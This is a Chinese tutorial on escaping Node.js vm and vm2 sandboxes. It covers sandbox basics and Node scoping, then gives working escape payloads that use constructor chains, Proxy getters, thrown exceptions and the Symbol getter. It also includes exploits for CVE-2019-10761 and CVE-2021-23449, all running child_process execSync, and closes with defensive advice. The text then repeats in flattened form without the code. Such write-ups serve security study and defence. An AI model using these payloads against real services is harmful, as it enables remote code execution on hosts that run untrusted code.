NodeJS VM和VM2沙箱逃逸
字数 1255 2025-08-26 22:11:51

NodeJS VM和VM2沙箱逃逸技术详解

0x01 沙箱逃逸基础概念

JavaScript与NodeJS区别

  • JavaScript:运行在浏览器前端
  • NodeJS:将Chrome的V8引擎单独拿出来作为JavaScript的运行环境,使JavaScript可作为后端语言使用

沙箱(Sandbox)定义

  • 隔离运行可能产生危害的程序
  • 与主机相互隔离但使用主机硬件资源
  • 工作机制:通过重定向将恶意代码执行目标重定向到沙箱内部

沙箱、虚拟机和容器区别

技术 目的 特点
Sandbox 隔离有害程序 使用虚拟化技术
VM 一台电脑运行多个操作系统 完整系统虚拟化
Docker 程序隔离 创建有边界的运行环境

0x02 Node中将字符串执行为代码

方法一:eval

const fs = require('fs');
let content = fs.readFileSync('age.txt', 'utf-8');
eval(content);
console.log(age); // 执行字符串定义的变量

缺点:容易与当前作用域同名变量冲突

方法二:new Function

const func = new Function('a', 'b', 'return a + b');
console.log(func(1, 2)); // 3

特点:创建独立作用域,但参数传递麻烦

0x03 NodeJS作用域机制

Node作用域特点

  • 每个文件(包)有独立上下文
  • 包间作用域隔离,需通过exports导出
// y1.js
var age = 20;
exports.age = age;

// y2.js
const a = require("./y1");
console.log(a.age); // 20

全局对象

  • 浏览器:window
  • NodeJS:global
  • 全局变量挂载在global下,可直接访问
// y1.js
global.age = 20;

// y2.js
require("./y1");
console.log(age); // 20

0x04 VM模块沙箱逃逸

VM模块常用API

  1. vm.runInThisContext(code):在global下创建作用域
  2. vm.createContext([sandbox]):创建沙箱上下文
  3. vm.runInContext(code, contextifiedSandbox):在指定上下文中执行
  4. vm.runInNewContext(code[, sandbox]):createContext+runInContext组合
  5. vm.Script类:预编译脚本

逃逸原理

目标:获取global上的process对象实现RCE

基本逃逸方法

const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1); // 获取process对象

RCE实现

y1.mainModule.require('child_process').execSync('whoami').toString()

替代方案

const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);

特殊场景逃逸

1. this为null的情况

const vm = require("vm");
const script = `(function(){
  const a = {}
  a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString()
  }
  return a
})()`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res); // 触发toString

2. 使用Proxy劫持

const script = `(() =>{
  const a = new Proxy({}, {
    get: function(){
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString();
    }
  })
  return a
})()`;
console.log(res.abc); // 访问任意属性触发

3. 通过异常抛出

const script = `throw new Proxy({}, {
  get: function(){
    const cc = arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString();
  }
})`;
try {
  vm.runInContext(script, vm.createContext(Object.create(null)));
} catch(e) {
  console.log("error:" + e) // 捕获异常触发
}

0x05 VM2沙箱机制

VM2改进

  1. 使用Proxy拦截对constructor__proto__的访问
  2. 对global的Buffer类进行代理
  3. 拦截setTimeout等全局函数

基本使用

const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script)); // 2

0x06 VM2沙箱绕过

CVE-2019-10761 (<=3.6.10)

const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {length: 10, utf8Write(){}};
function r(i){
  var x = 0;
  try{x = r(i);}catch(e){}
  if(typeof(x)!=='number') return x;
  if(x!==i) return x+1;
  try{f.call(ft);}catch(e){return e;}
  return null;
}
var i=1;
while(1){
  try{i=r(i).constructor.constructor("return process")(); break;}
  catch(x){i++;}
}
i.mainModule.require("child_process").execSync("whoami").toString()`;
console.log(new VM().run(untrusted));

原理:通过递归爆栈获取沙箱外异常对象

CVE-2021-23449

let res = import('./foo.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

原理import()语法结构未经过沙箱处理

其他Trick

Symbol = {
  get toStringTag(){
    throw f => f.constructor("return process")()
  }
};
try {
  Buffer.from(new Map());
} catch(f) {
  Symbol = {};
  f(mainModule.require("child_process").execSync("whoami").toString());
}

原理:劫持Symbol对象的getter抛出异常

防御建议

  1. 及时更新vm2到最新版本
  2. 避免执行不可信代码
  3. 使用多层隔离(Docker+Sandbox)
  4. 严格限制沙箱内可用对象和API

参考资源

  1. vm2实现原理分析-安全客
  2. Proxy和Reflect详解
  3. Node.js官方文档
NodeJS VM和VM2沙箱逃逸技术详解 0x01 沙箱逃逸基础概念 JavaScript与NodeJS区别 JavaScript :运行在浏览器前端 NodeJS :将Chrome的V8引擎单独拿出来作为JavaScript的运行环境,使JavaScript可作为后端语言使用 沙箱(Sandbox)定义 隔离运行可能产生危害的程序 与主机相互隔离但使用主机硬件资源 工作机制:通过重定向将恶意代码执行目标重定向到沙箱内部 沙箱、虚拟机和容器区别 | 技术 | 目的 | 特点 | |------|------|------| | Sandbox | 隔离有害程序 | 使用虚拟化技术 | | VM | 一台电脑运行多个操作系统 | 完整系统虚拟化 | | Docker | 程序隔离 | 创建有边界的运行环境 | 0x02 Node中将字符串执行为代码 方法一:eval 缺点 :容易与当前作用域同名变量冲突 方法二:new Function 特点 :创建独立作用域,但参数传递麻烦 0x03 NodeJS作用域机制 Node作用域特点 每个文件(包)有独立上下文 包间作用域隔离,需通过 exports 导出 全局对象 浏览器: window NodeJS: global 全局变量挂载在 global 下,可直接访问 0x04 VM模块沙箱逃逸 VM模块常用API vm.runInThisContext(code) :在global下创建作用域 vm.createContext([sandbox]) :创建沙箱上下文 vm.runInContext(code, contextifiedSandbox) :在指定上下文中执行 vm.runInNewContext(code[, sandbox]) :createContext+runInContext组合 vm.Script 类:预编译脚本 逃逸原理 目标:获取global上的 process 对象实现RCE 基本逃逸方法 RCE实现 替代方案 特殊场景逃逸 1. this为null的情况 2. 使用Proxy劫持 3. 通过异常抛出 0x05 VM2沙箱机制 VM2改进 使用Proxy拦截对 constructor 和 __proto__ 的访问 对global的Buffer类进行代理 拦截 setTimeout 等全局函数 基本使用 0x06 VM2沙箱绕过 CVE-2019-10761 ( <=3.6.10) 原理 :通过递归爆栈获取沙箱外异常对象 CVE-2021-23449 原理 : import() 语法结构未经过沙箱处理 其他Trick 原理 :劫持Symbol对象的getter抛出异常 防御建议 及时更新vm2到最新版本 避免执行不可信代码 使用多层隔离(Docker+Sandbox) 严格限制沙箱内可用对象和API 参考资源 vm2实现原理分析-安全客 Proxy和Reflect详解 Node.js官方文档